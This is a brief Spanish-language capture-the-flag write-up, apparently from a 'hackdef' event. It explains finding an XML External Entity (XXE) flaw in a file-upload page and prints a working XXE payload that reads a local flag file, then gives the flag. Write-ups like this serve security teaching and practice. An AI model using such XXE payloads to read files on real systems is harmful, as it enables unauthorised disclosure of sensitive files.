Exfill

Encuentra la vulnerabilidad en el siguiente sitio web y lee la flag que esta en /app/app/flag.txt

XML External Entity (XXE)

La página nos presenta una estructura de XML y una función para subir archivos.

Podemos identificar rápidamente que es una vulnerabilidad de XXE, ya que al momento de subir un archivo XML con la estructura dicha lo que se escriba en el parámetro **nombre** se visualiza en la página web.

Procedemos a crear nuestro payload final.

```
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///app/app/flag.txt"> ]>
<directorio>
<contacto>
<nombre>&xxe;</nombre>
<telefono>&xxe;</telefono>
</contacto>
```

Flag:

```
hackdef{d0_n0t_tru5t_xml_f1l3s}
```